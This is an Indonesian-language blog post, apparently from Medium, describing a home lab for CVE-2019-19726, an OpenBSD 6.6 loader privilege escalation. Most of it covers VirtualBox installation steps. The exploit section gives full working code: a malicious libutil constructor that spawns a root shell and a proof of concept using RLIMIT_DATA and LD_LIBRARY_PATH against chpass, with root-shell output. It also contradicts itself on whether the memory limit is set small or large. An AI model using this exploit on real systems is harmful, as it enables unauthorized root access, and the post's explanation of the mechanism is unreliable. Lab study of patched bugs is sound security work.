CVE 2019–19726: OpenBSD Local Privilege Escalation via RLIMIT_DATA Memory Limit Attack
Local Privilege Escalation (LPE) pada dynamic loader OpenBSD (ld.so) CVE-2019-19726 yang memungkinkan pengguna lokal tanpa hak istimewa menjadi root pada instalasi default melalui program set-uid seperti chpass atau passwd. Intinya: kondisi memori rendah + variabel lingkungan LD_LIBRARY_PATH yang tidak dibersihkan membuat loader memuat pustaka penyerang dan menjalankan kode dengan hak root. Penemuan ini sudah didokumentasikan dan dipatch oleh tim OpenBSD.
Sederhana nya bayangkan program penting (mis. chpass) dijalankan dengan hak istimewa root. Untuk keamanan, dynamic loader mencoba menghapus variabel lingkungan berbahaya seperti LD_LIBRARY_PATH sebelum memuat pustaka sistem supaya tidak ada pustaka asing yang disisipkan ke proses set-uid.
Namun, jika sebelum menjalankan program kita sengaja membuat kondisi memori (area data) sangat kecil, fungsi loader yang mem-parsing LD_LIBRARY_PATH bisa gagal mengalokasi memori. Saat itu terjadi, kode loader membuat keadaan di mana variabel LD_LIBRARY_PATH tetap ada di lingkungan proses—walau seharusnya dihapus—dan kemudian, pada eksekusi proses anak yang tidak set-uid, loader memperbolehkan penggunaan LD_LIBRARY_PATH lagi dan memuat pustaka dari direktori kontrol penyerang (mis. .). Akibatnya, pustaka berisi constructor/initializer dapat menjalankan kode sebagai root.\
Intinya:
- Proteksi untuk membuang
LD_LIBRARY_PATHgagal ketika alokasi memori di loader gagal. - Setelah beberapa panggilan internal (setuid → reset limit → execv ke proses lain), kondisi berubah sehingga pustaka penyerang akhirnya dimuat sebagai root.
Saya membuat lab lokal dengan mendownload OpenBsd 6.6 untuk mempraktekkan CVE-2019–19726
Berikut step-by-step lengkap dari download sampai installasi selesai:
1. Download File OpenBSD 6.6
Di host system (Linux/Windows/Mac):
# Buat folder untuk OpenBSD
mkdir openbsd-install
cd openbsd-install# Download ISO installer
wget https://ftp.eu.openbsd.org/pub/OpenBSD/6.6/amd64/install66.iso# Download file verifikasi
wget https://ftp.eu.openbsd.org/pub/OpenBSD/6.6/amd64/SHA256
wget https://ftp.eu.openbsd.org/pub/OpenBSD/6.6/amd64/SHA256.sig
Verifikasi file (opsional):
# Cek checksum
sha256sum -c SHA256 2>/dev/null | grep install66.iso
# Output: install66.iso: OK2. Setup VirtualBox Machine
Buka VirtualBox dan buat VM baru:
- Klik “New”
- Basic Tab:
- Name:
OpenBSD-6.6 - Type:
BSD - Version:
OpenBSD (64-bit) - Next
- Memory Size:
- 2048 MB (recommended)
- Next
- Hard Disk:
- ✅ “Create a virtual hard disk now”
- Create
- Hard Disk File Type:
- ✅ VDI (VirtualBox Disk Image)
- Next
- Storage on Physical Hard Disk:
- ✅ Dynamically allocated
- Next
- File Location and Size:
- Size: 16.00 GB
- Create
3. Konfigurasi VirtualBox Settings
Buka Settings VM yang baru dibuat:
- System → Motherboard:
- ✅ Enable I/O APIC
- Boot Order: Hard Disk → Optical
- System → Processor:
- Processors: 2 CPU
- ✅ Enable PAE/NX
- Display → Screen:
- Video Memory: 64 MB
- Graphics Controller: VBoxVGA
- Storage → Controller: IDE:
- Klik Empty
- Klik CD icon di sebelah kanan
- Pilih Choose a disk file
- Pilih file
install66.isoyang sudah didownload
- Network → Adapter 1:
- Attached to: Bridged Adapter
- Name: Pilih interface host (wlan0/eth0/Ethernet)
- Klik OK untuk save settings
4. Start Virtual Machine
- Pilih VM OpenBSD-6.6
- Klik “Start”
5. Proses Installasi OpenBSD (Langkah Demi Langkah)
Boot Menu:
>> OpenBSD/amd64 BOOT 3.36
boot>Tekan Enter
Menu Utama:
Welcome to the OpenBSD/amd64 6.6 installation program.
(I)nstall, (U)pgrade, (A)utoinstall or (S)hell?Ketik: I → Enter
Keyboard Layout:
Keyboard layout? [default]Tekan Enter
Hostname:
System hostname? (short form, e.g. 'foo')Contoh Ketik: openbsd66 → Enter
Network Configuration:
Available network interfaces are: em0 vlan0.
Which network interface do you wish to configure? (or 'done') [em0]Tekan Enter
IPv4 address for em0? (or 'dhcp' or 'none') [dhcp]Tekan Enter (gunakan DHCP)
IPv6 address for em0? (or 'autoconf' or 'none') [autoconf]Tekan Enter
Do you want to do any additional network configuration? [no]Tekan Enter
Root Password:
Password for root account?Masukkan password kuat → Enter
Password for root account? (again)Masukkan password lagi → Enter
SSH Configuration:
Start sshd(8) by default? [yes]Tekan Enter
User Account Setup:
Do you want to setup a user account? [yes]Tekan Enter
Username:Ketik: user (atau username pilihan) → Enter
Full name:Ketik: OpenBSD User → Enter
Password:Masukkan password user → Enter
Password again:Konfirmasi password → Enter
Login group is user. Invite user into other groups: []Ketik: wheel → Enter
Timezone:
What timezone are you in? ('?' for list) [UTC]Ketik: Asia/Jakarta (sesuaikan dengan lokasi) → Enter
Disk Setup:
Available disks are: sd0.
Which disk is the root disk? [sd0]Tekan Enter
Use (W)hole disk or (E)dit the MBR? [whole]Tekan Enter
Use (A)uto layout, (E)dit auto layout, or create (C)ustom layout? [auto]Tekan Enter
Konfirmasi Partisi:
Anda akan melihat summary:
sd0a ( ) 512.0M
sd0b ( swap) 1.0G
sd0d ( ) 14.5GLet's install the sets!
Location of sets? [cd0]Tekan Enter
Set name(s)? (or 'abort' or 'all') [all]Tekan Enter
6. Proses Installasi Sets
Sistem akan mulai menginstall:
Installing base66.tgz...
Installing comp66.tgz...
Installing man66.tgz...
Installing game66.tgz...
Installing xbase66.tgz...
Installing xshare66.tgz...
Installing xfont66.tgz...
Installing xserv66.tgz...Tunggu hingga semua sets terinstall (5–10 menit)
7. Konfigurasi Tambahan
X Window System:
Do you expect to run the X Window System? [yes]Tekan Enter
Screen Resolution:
Do you want to change the default console resolution? [no]Tekan Enter
8. Installasi Selesai
CONGRATULATIONS! Your OpenBSD install has been successfully completed!
To boot the new system, enter 'reboot' at the command prompt.
When you reboot, be sure to remove the install/restore media.9. Reboot dan Setup Final
Di VM, ketik:
rebootSetelah VM shutdown:
- VirtualBox → Devices → Optical Drives
- Remove disk from virtual drive
- Start VM kembali
10. Login dan Testing
Login pertama:
OpenBSD/amd64 (openbsd66) (ttyC0)login: root
Password: [masukkan password root]Test system:
# Cek network
ping -c 3 8.8.8.8# Cek disk
df -h# Cek memory
vmstat# Cek IP address
ifconfig em0
Login dengan user biasa:
# Logout root
exit# Login dengan user
login: user
Password: [masukkan password user]11. Post-Installation Setup (Opsional)
Sebagai root:
su -# Update package database
pkg_add -u# Install useful tools
pkg_add vim curl wget git# Check for updates
syspatch
Troubleshooting Tips:
- Jika boot gagal: Pastikan ISO sudah di-eject
- Network tidak bekerja: Cek bridge adapter setting
- Display issue: Ubah graphics controller ke VMSVGA
- Performance: Tambahkan lebih banyak RAM/CPU jika needed
Alur Serangan: Eksploitasi RLIMITDATA dan LDLIBRARY_PATH pada chpass di OpenBSD
Konsep Inti: Memanfaatkan bug dalam loader OpenBSD untuk mempertahankan variabel lingkungan LD_LIBRARY_PATH yang berbahaya, yang seharusnya diabaikan oleh program Set-UID, dengan cara membuatnya gagal mengalokasikan memori.
Get Dhimas Lanang Nugroho’s stories in your inbox
Join Medium for free to get updates from this writer.
Tujuan: membuka file yang dimiliki oleh root akses
Skenario
- Penyerang: Pengguna
sysadmin-intern(UID 1000). - Target: File
goldenticket.txtyang hanya bisa dibaca olehroot. - Vulnerability: Kerentanan spesifik dalam
chpassdan loader OpenBSD versi 6.6. - Teknik: Eksploitasi
RLIMIT_DATAdanLD_LIBRARY_PATH.
Alur Serangan Langkah demi Langkah
Tahap 1: Pengintaian dan Persiapan
- Pengintaian: Penyerang (
sysadmin-intern) melihat bahwa filegoldenticket.txtdimiliki olehrootdan tidak dapat dibaca.
foxzie-imphnen$ cat goldenticket.txt
cat: goldenticket.txt: Permission denied
foxzie-imphnen$ ls -la
-rw------- 1 root wheel 9 Nov 1 23:01 goldenticket.txt- Menyiapkan Lingkungan: Penyerang pindah ke direktori
/tmpyang dapat ditulisi untuk mengkompilasi kode eksploitasi.
foxzie-imphnen$ cd /tmp2. Memastikan Kompiler: Penyerang memastikan kompiler C tersedia (cc, gcc, clang).
Tahap 2: Membuat Senjata (Malicious Library)
- Membuat Kode Library Palsu: Penyerang membuat file
lib.cyang berisi library jahat. Library ini akan membuat shell dengan hak root saat dimuat.
#include <paths.h>
#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) {
if (setuid(0) != 0) _exit(__LINE__);
if (setgid(0) != 0) _exit(__LINE__);
char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
}__attribute__ ((constructor)): Memastikan fungsi_initdieksekusi segera setelah library dimuat.setuid(0)&setgid(0): Mengubah UID dan GID proses menjadi0(root).execve(_PATH_KSHELL, ...): Menjalankan shell Korn (/bin/ksh).
2. Mengidentifikasi Target Library: Penyerang mencari library mana dari program Set-UID yang akan diganti. Dia memilih /usr/sbin/pwd_mkdb (yang dipanggil oleh chpass di belakang layar) dan menemukan ia bergantung pada libutil.so.13.1.
foxzie-imphnen$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED
0x0000000000000001 (NEEDED) Shared library: [libutil.so.13.1]3. Mengkompilasi Library Palsu: Penyerang mengkompilasi lib.c dan memberi nama file hasil kompilasi persis seperti library asli yang menjadi target (libutil.so.13.1). bash foxzie-imphnen$ gcc -fpic -shared -s -o libutil.so.13.1 lib.c
foxzie-imphnen$ gcc -fpic -shared -s -o libutil.so.13.1 lib.cTahap 3: Membuat Program Eksploitasi (PoC)
- Membuat Kode Eksploitasi: Penyerang membuat file
poc.cyang bertugas untuk memicu bug.
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <unistd.h>
int main(int argc, char * const * argv) {
#define LLP "LD_LIBRARY_PATH=." // Arahkan ke direktori saat ini (/tmp)
static char llp[ARG_MAX - 128];
memset(llp, ':', sizeof(llp)-1); // Isi variabel lingkungan dengan data sampah
memcpy(llp, LLP, sizeof(LLP)-1);
char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL }; // Set lingkungan
#define DATA (ARG_MAX * sizeof(char *))
const struct rlimit data = { DATA, DATA };
if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__); // SET BATAS MEMORI SANGAT BESAR!
if (argc <= 1) _exit(__LINE__);
argv += 1;
execve(argv[0], argv, envp); // Jalankan chpass dengan lingkungan yang sudah disetel
_exit(__LINE__);
}LD_LIBRARY_PATH=.:Memberi tahu loader untuk mencari library di direktori saat ini (.).setrlimit(RLIMIT_DATA, &data): Kunci eksploitasi! Ini menetapkan batas memori (RLIMIT_DATA) menjadi nilai yang sangat besar, bukan kecil. Pada OpenBSD versi ini, tindakan ini justru memicu kondisi dimanaLD_LIBRARY_PATHtidak dibersihkan dengan benar untuk proses child.
2. Mengkompilasi Eksploit:
foxzie-imphnen$ gcc -s -o poc poc.cTahap 4: Meluncurkan Serangan
- Menjalankan Eksploitasi: Penyerang menjalankan program
pocdan memberikan/usr/bin/chpasssebagai argumen.
foxzie-imphnen$ ./poc /usr/bin/chpass2. Apa yang Terjadi di Balik Layar:
pocmenetapkanRLIMIT_DATAyang besar dan variabel lingkunganLD_LIBRARY_PATHyang menunjuk ke/tmp.pockemudian menjalankan/usr/bin/chpass(program Set-UID) dengan lingkungan yang sudah "terkontaminasi".- Bug di loader menyebabkan
LD_LIBRARY_PATHtidak dihapus dengan benar. - Program
chpassberjalan dan pada titik tertentu memanggilpwd_mkdb. - Saat
pwd_mkdbdi-execve, loader yang baru berjalan dan membacaLD_LIBRARY_PATHyang masih ada. - Loader mencari
libutil.so.13.1dan menemukan versi palsu penyerang di/tmp. - Library palsu dimuat, dan fungsi
constructor-nya dieksekusi, memberikan shell root.
Tahap 5: Summon Root
- Mendapatkan Akses Root: Prompt berubah dari
$menjadi#, menandakan shell sekarang berjalan sebagairoot.
foxzie-imphnen# id uid=0(root) gid=0(wheel) groups=1000(sysadmin-intern), 20(staff)- Mengakses File Target: Penyerang sekarang dapat membaca file
goldenticket.txt.bash foxzie-imphnen# cat /home/sysadmin-intern/goldenticket.txt hi Root!
Kesimpulan
Alur ini menggambarkan bagaimana sebuah kerentanan yang sangat spesifik dalam sistem (pada kasus ini, OpenBSD 6.6) dapat dieksploitasi untuk melakukan eskalasi hakillegge dari pengguna biasa ke root. Kunci utamanya adalah memanipulasi lingkungan eksekusi proses (LD_LIBRARY_PATH) dan batas sumber daya (RLIMIT_DATA) untuk menipu loader agar memuat kode berbahaya. Kerentanan seperti ini biasanya diperbaiki dengan cepat oleh pengembang setelah ditemukan.







